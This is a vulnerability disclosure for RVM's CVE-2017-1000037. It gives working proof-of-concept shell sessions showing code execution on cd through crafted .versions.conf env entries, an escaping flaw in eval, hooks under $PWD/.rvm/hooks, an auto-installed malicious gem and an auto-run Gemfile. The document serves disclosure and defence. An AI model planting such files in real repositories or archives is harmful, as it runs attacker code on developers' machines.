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The following issues constitute separate arbitrary command execution vulnerabilities in RVM <=1.28.0

  • RVM automatically loads environment variables from files in $PWD
  • RVM command injection when automatically loading environment variables from files in $PWD
  • RVM automatically executes hooks located in $PWD
  • RVM automatically installs gems as specified by files in $PWD
  • RVM automatically does "bundle install" on a Gemfile specified by .versions.conf in $PWD

All of the issues were allocated CVE-2017-1000037

Users should upgrade to RVM version 1.29.0

https://en.wikipedia.org/wiki/Ruby_Version_Manager says:

Ruby Version Manager, often abbreviated as RVM, is a unix-like software platform designed to manage multiple installations of Ruby on the same device.

[...]

The different versions can then be switched between to enable a developer to work on several projects with different version requirements.

The vulnerabilities can be exploited in the event that a user with RVM loaded into their shell uses cd to change into a directory where that directory's contents are controlled by an attacker.

This could arise in the following scenarios:

  • Where an attacker controls a directory on a multi-user system (e.g. within /tmp/) that a user can be convinced to cd into

  • Where an attacker can provide a tarball that a user can be convinced to extract to a directory then cd into

  • Where an attacker controls a git repo which a user can be convinced to clone and then cd into

  • Where an attacker can use a web application to upload arbitrary files with arbitrary filenames, then wait for an administrator to cd into the directory that the user uploaded the files to.

Other scenarios are left as an exercise for the reader.

All examples below were captured using RVM 1.27.0

RVM automatically loads environment variables from files in $PWD

RVM, by default, hooks cd and automatically detects the presence of certain files in the directory being changed to. These files and their mechanics are detailed at https://rvm.io/workflow/projects.

The code that parses these files is available at https://github.com/rvm/rvm/blob/master/scripts/functions/rvmrc_project (look for the __rvm_load_project_config function). The code, as of a vulnerable commit, is available at https://github.com/rvm/rvm/blob/b04c0158d/scripts/functions/rvmrc_project#L61.

The parsing of these files allows for the exporting of arbitrary environment variables into the current shell. For example, to set the environment variable FOO to the value "bar":

  • .versions.conf should contain the line "env-FOO=bar"; OR

  • Gemfile should contain the line "#ruby-env-FOO=bar" (Note that the parsing of Gemfile throws a notice in the user's shell); OR

  • .ruby-version, .rbfu-version or .rbenv-version should be accompanied by a file named .ruby-env which should contain the line "FOO=bar"

In all of the above cases, it is critical that the file also specifies a version of Ruby that satisfies RVM. This may be a version of Ruby that the user has installed via RVM, or it may be the magic value "system" to specify that the base system's Ruby should be used. This always satisfies RVM, even when there is no Ruby installed on the base system.

An example of setting an environment variable using .versions.conf:

rvm@773eb63af1cc:~$ mkdir test

rvm@773eb63af1cc:~$ cat > test/.versions.conf
ruby=system
env-FOO=bar
^D

rvm@773eb63af1cc:~$ echo $FOO


rvm@773eb63af1cc:~$ cd test

rvm@773eb63af1cc:~/test$ echo $FOO
bar

This behaviour can be used to achieve arbitrary command execution when a user changes into a directory with malicious contents. For example, modern shells will automatically interpret shell metacharacters within PS1. Other techniques are left as an exercise for the reader.

POC

rvm@e6aeaf6d79ec:~$ mkdir poc

rvm@e6aeaf6d79ec:~$ cat > poc/.versions.conf
ruby=system
env-PS1=\n$(echo "Command execution as $(id) via PS1")\n\n$PS1
^D

rvm@e6aeaf6d79ec:~$ cd poc

Command execution as uid=1000(rvm) gid=1000(rvm) groups=1000(rvm) via PS1

rvm@e6aeaf6d79ec:~/poc$

RVM command injection when automatically loading environment variables from files in $PWD

RVM, by default, hooks cd and automatically detects the presence of certain files in the directory being changed to. These files and their mechanics are detailed at https://rvm.io/workflow/projects.

The code that parses these files is available at https://github.com/rvm/rvm/blob/master/scripts/functions/rvmrc_project (look for the __rvm_load_project_config function). The code, as of a vulnerable commit, is available at https://github.com/rvm/rvm/blob/b04c0158d/scripts/functions/rvmrc_project#L61.

The parsing of these files allows for the exporting of environment variables into the current shell. For example, to set the environment variable FOO to the value "bar":

  • .versions.conf should contain the line "env-FOO=bar"

  • Gemfile should contain the line "#ruby-env-FOO=bar" (Note that the parsing of Gemfile throws a notice in the user's shell)

  • .ruby-version, .rbfu-version or .rbenv-version should be accompanied by a file named .ruby-env which should contain the line "FOO=bar"

In all of the above cases, it is critical that the file also specifies a version of Ruby that satisfies RVM. This may be a version of Ruby that the user has installed via RVM, or it may be the magic value "system" to specify that the base system's Ruby should be used. This always satisfies RVM, even when there is no Ruby installed on the base system.

An example of setting an environment variable using .versions.conf:

rvm@773eb63af1cc:~$ mkdir test

rvm@773eb63af1cc:~$ cat > test/.versions.conf
ruby=system
env-FOO=bar
^D

rvm@773eb63af1cc:~$ echo $FOO


rvm@773eb63af1cc:~$ cd test

rvm@773eb63af1cc:~/test$ echo $FOO
bar

The code that parses environment variables fails to properly sanitize data before using it in an eval statement, leading to command injection. The buggy code, as of a vulnerable commit, is available at https://github.com/rvm/rvm/blob/b04c0158d/scripts/functions/rvmrc_project#L271-L320

The code wraps the value (e.g. bar as per the example above) in double-quotes and performs escaping on key shell metacharacters by prefixing them with \. However, instances of \ itself in the value are not escaped. A metacharacter becomes properly escaped, but a metacharacter preceded by a backslash becomes an escaped backslash followed by the metacharacter. For example:

  • bar$(id) becomes "bar\$(id)" which is safe
  • bar\$(id) becomes "bar\\$(id)" which causes execution of the id command.

This behaviour can be used to achieve arbitrary command execution when a user changes into a directory with malicious contents.

POC

rvm@e6aeaf6d79ec:~$ mkdir poc

rvm@e6aeaf6d79ec:~$ cat > poc/.versions.conf
ruby=system
env-FOO=bar\$(sh -c 'echo; echo Command injection as:; id; echo' >&2)
^D

rvm@e6aeaf6d79ec:~$ cd poc

Command injection as:
uid=1000(rvm) gid=1000(rvm) groups=1000(rvm)

rvm@e6aeaf6d79ec:~/poc$

RVM automatically executes hooks located in $PWD

RVM, by default, hooks cd and automatically executes various auxiliary hooks when a user changes into a directory. The mechanics of these additional after_cd hooks are detailed at https://rvm.io/workflow/hooks.

What this page fails to mention is that hooks, as of a vulnerable version, are not only loaded from ~/.rvm/hooks but are also loaded from $PWD/.rvm/hooks as per the code, as of a vulnerable commit, at https://github.com/rvm/rvm/blob/b04c0158d/scripts/hook#L23-L27.

This behaviour can be used to achieve arbitrary command execution when a user changes into a directory with malicious contents.

Note that hook files must be executable for them to be triggered.

POC

rvm@e6aeaf6d79ec:~$ mkdir -p poc/.rvm/hooks

rvm@e6aeaf6d79ec:~$ cat > poc/.rvm/hooks/after_cd_poc
#!/bin/sh
echo "Command execution as $(id)"
^D

rvm@e6aeaf6d79ec:~$ chmod a+x poc/.rvm/hooks/after_cd_poc

rvm@e6aeaf6d79ec:~$ cd poc

Command execution as uid=1000(rvm) gid=1000(rvm) groups=1000(rvm)
rvm@e6aeaf6d79ec:~/poc$

RVM automatically installs gems as specified by files in $PWD

RVM, by default, hooks cd and automatically parses a file named .versions.conf in the directory being changed to. This file can provide the names of arbitrary gems, via ruby-gem-install entries, which will be automatically passed to gem install upon cd into the directory. The code responsible, as of a vulnerable commit, is available at https://github.com/rvm/rvm/blob/b04c0158d/scripts/functions/rvmrc_project#L100.

This behaviour can be used to achieve immediate installation of an arbitrary Ruby gem. This can be used to gain immediate Ruby code execution if that gem defines a post_install hook. Furthermore, the gem can be located in $PWD, making this a fully self-contained attack.

Thanks to http://stackoverflow.com/a/33739910 for detailing the post_install hook trick.

It is critical that .versions.conf specifies a version of Ruby that satisfies RVM and will allow the user to successfully install gems. This may be a version of Ruby that the user has installed via RVM, or it may be the magic value "system" to specify that the base system's Ruby should be used (Note that Ruby must be installed on the base system). If the magic value "system" is used, then the user must be privileged so that the installation of the gem to the system gem location can succeed. Hence, exploitation of an unprivileged user is generally only possible when the user has installed a Ruby via RVM and the exact version is known.

POC

Install a known version of ruby via RVM:

rvm@e6aeaf6d79ec:~$ rvm install 2.3.0
  [... SNIP ...]

Prepare a malicious gem that will trigger execution of Ruby code upon installation:

rvm@e6aeaf6d79ec:~$ mkdir -p poc-gem/lib/

rvm@e6aeaf6d79ec:~$ cat > poc-gem/poc-gem.gemspec
Gem::Specification.new do |s|
  s.name        = '.poc-gem'
  s.version     = '1.33.7'
  s.summary     = 'poc'
  s.authors     = ['A. Hacker']
  s.files       = ['lib/rubygems_plugin.rb']
end
^D

rvm@e6aeaf6d79ec:~$ cat > poc-gem/lib/rubygems_plugin.rb
Gem.post_install do
  File.open('/tmp/poc_output', 'w') {|f| f.write("Arbitrary ruby code execution as #{`id`}")}
end
^D

rvm@e6aeaf6d79ec:~$ cd poc-gem/

rvm@e6aeaf6d79ec:~/poc-gem$ gem build poc-gem.gemspec
WARNING:  licenses is empty, but is recommended.  Use a license identifier from
http://spdx.org/licenses or 'Nonstandard' for a nonstandard license.
WARNING:  no email specified
WARNING:  no homepage specified
WARNING:  See http://guides.rubygems.org/specification-reference/ for help
  Successfully built RubyGem
  Name: .poc-gem
  Version: 1.33.7
  File: .poc-gem-1.33.7.gem

Prepare a directory that will trigger installation of the malicious gem upon cd:

rvm@e6aeaf6d79ec:~/poc-gem$ cd ..

rvm@e6aeaf6d79ec:~$ mkdir poc

rvm@e6aeaf6d79ec:~$ cp poc-gem/.poc-gem-1.33.7.gem poc/

rvm@e6aeaf6d79ec:~$ cat > poc/.versions.conf
ruby=ruby-2.3.0
ruby-gem-install=.poc-gem-1.33.7.gem
^D

Trigger the POC:

rvm@e6aeaf6d79ec:~$ cat /tmp/poc_output
cat: /tmp/poc_output: No such file or directory

rvm@e6aeaf6d79ec:~$ cd poc
installing gem .poc-gem-1.33.7.gem --no-ri --no-rdoc.

rvm@e6aeaf6d79ec:~/poc$ cat /tmp/poc_output
Arbitrary ruby code execution as uid=1000(rvm) gid=1000(rvm) groups=1000(rvm)

RVM automatically does "bundle install" on a Gemfile specified by .versions.conf in $PWD

RVM, by default, hooks cd and automatically parses a file named .versions.conf in the directory being changed to. The intention seems to be that, if the user's ${rvm_autoinstall_bundler_flag} setting is enabled, then .versions.conf can specify a Gemfile that will automatically be fed to bundle install. Due to an erroneous conditional that uses || (OR) instead of && (AND), .versions.conf can provide the name of an arbitrary Gemfile that will automatically be fed to bundle install regardless of the state of ${rvm_autoinstall_bundler_flag}. The code responsible, as of a vulnerable commit, is available at https://github.com/rvm/rvm/blob/b04c0158dbadc9a999a2af4f39bc008976b9ebf1/scripts/functions/rvmrc_project#L102-L113.

This behaviour can be used to achieve immediate ruby code execution upon cd into a malicious directory since Gemfiles are interpreted using Ruby https://github.com/bundler/bundler/issues/5178

POC

rvm@e6aeaf6d79ec:~$ mkdir poc

rvm@e6aeaf6d79ec:~$ cat > poc/.versions.conf
ruby=ruby-2.3.0
ruby-bundle-install=.doot
^D

rvm@e6aeaf6d79ec:~$ cat > poc/.doot
`echo "Arbitrary ruby code execution as $(id)" >&2`
^D

rvm@e6aeaf6d79ec:~$ cd poc
installing gem bundler --no-ri --no-rdoc.
Arbitrary ruby code execution as uid=1000(rvm) gid=1000(rvm) groups=1000(rvm)
The Gemfile specifies no dependencies
Resolving dependencies...
Bundle complete! 0 Gemfile dependencies, 1 gem now installed.
Use `bundle show [gemname]` to see where a bundled gem is installed.

Justin Steven

https://twitter.com/justinsteven

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